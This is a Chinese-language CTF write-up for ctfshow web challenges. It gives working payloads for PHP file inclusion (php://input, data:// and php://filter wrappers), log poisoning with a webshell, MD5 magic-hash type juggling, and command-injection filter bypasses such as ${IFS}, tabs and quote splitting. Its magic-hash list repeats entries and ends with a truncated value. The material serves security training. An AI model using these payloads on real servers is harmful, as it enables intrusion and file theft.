ctfshow web模块wp

web3

我们看到题目可以知道这是一道文件包含题目,那么我们直接拿php://input协议

然后将我们post的php代码换成

1
<?php system('cat ctf_go_go_go');?>

得到flag

web4

查看提示是文件包含中的日志包含

我们先百度nginx的日志文件目录为

/var/log/nginx/access.log

我们利用题中的文件包含访问日志文件

我们看到这个日志文件是会把我们的浏览器信息也记录也就是user-agent信息我们就把一句话木马写到这个里面

我们打开蚁剑连接

web5

我们打开题目后看到三个检测第一个ctype_alpha函数检查是否为字符串 is_numeric检测是否为数字最后一个MD5值相同

在MD5里面只要是0e开头的都会被认为是0那么我们找到一个字符MD5是0e开头的和一个数字的就行了

这里附上一些0e开头的MD5值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
QNKCDZO
0e830400451993494058024219903391

240610708
0e462097431906509019562988736854

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e54599327451770903432885584102

ctf命令执行

web32,。

打开题目看到

看到这里的过滤字符比较多我们直接拿include或者require去写一个get请求然后利用文件包含把他读出来

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

这里我们是使用了?>来代替;,这样就可以

web33

题目中的过滤比上一个多了一个冒号

对于我们的的语句没有影响

web34

多过滤了个“

同上

web35

多过滤了个<和=所以还是没有影响

web36

1
?c=data://text/plain,<?php system('cat f*'); ?>

这里就是一个文件包含我们直接将伪协议内容写入就好这里用的是data伪协议

web38

1
2
3
<?php system('cat fla*'); ?>

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhKicpOyA/Pg==

web39

我们看到这次的题目过滤的并不多和前几题的·差别就是include里面的变量c后面加了.php那就和我们36提的payload里面一样就是在最后加上注释付把.php过滤掉

1
?c=data://text/plain,<?php system('cat f*'); ?>//

web40

这道题我们看到题目里过滤了很多东西剩下的有字母 、_ 、() 和 ;

这道题看了师傅的博客,感觉非常不可思议

1
2
3
4
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。
next() 返回数组中的下一个元素的值。

我们利用get_defined_vars()读出了已存在的变量数组并且post传入cmd=system(“ls”);我们发现cmd=system(“ls”)在数组第二位我们利用next拿到这个数组元素,然后利用array_pop将值取出,再利用eval函数执行。

这道题还有其他解法这里给个师傅的博客地址

https://blog.csdn.net/Kracxi/article/details/121041140

web 41

web 42

这道题执行的c的结果输入到/dev/null中shell中打开3中文件描述符,1代表标准输出,2代表错误输出,3代表标准输入这里是将错误输出绑定到标准输出中,然后就会统一输出到/dev/null中导致我们没法看见结果这里利用;绕过

web 43

这里比上一题就是多了;和cat过滤我们利用||绕过

web 44

这题利用上一题的方法也可以做

这里也可以用

1
nl fla*.php%0a

执行后查看源代码就好

web 45

这里将空格也过滤了,我们利用${IFS}来代替空格

1
/?c=ls${IFS}||

成功绕过

web 46

这里将$符号给过滤了,我们这里利用%09(tap)绕过

1
?c=tac%09fla?.php||

web 47

这里比上一题多过滤的只是读取命令用上一题的还是解的了

web 48

我们看到这里还是没有过滤tac那么直接搞就好

1
?c=tac%09fla?.php||

web49

同上

web50

1
?c=tac<fla''g.php||

通配符*,?与<,>同时使用无回显这里将flag用‘拆开完成绕过

web 51

1
?c=nl<fla''g.php||

这里将tac过滤了我们利用nl命令代替

1
nl 命令读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。 在输出中,nl 命令根据您在命令行中指定的标志来计算左边的行。 输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。 除非使用 -p 标志,nl 命令在每个逻辑页开始的地方重新设置行号。 可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。

web 52

这里看到$这次没有被过滤。然后我们把利用$IFS代替空格直接读取flag.php没有结果,我们ls查看根目录发现有个flag文件利用payload将该文件读取

1
?c=nl$IFS/fl''ag||

web 53

这里和之前的变化不大就是会把结果转到变量输出

1
?c=t''ac${IFS}fla''g.php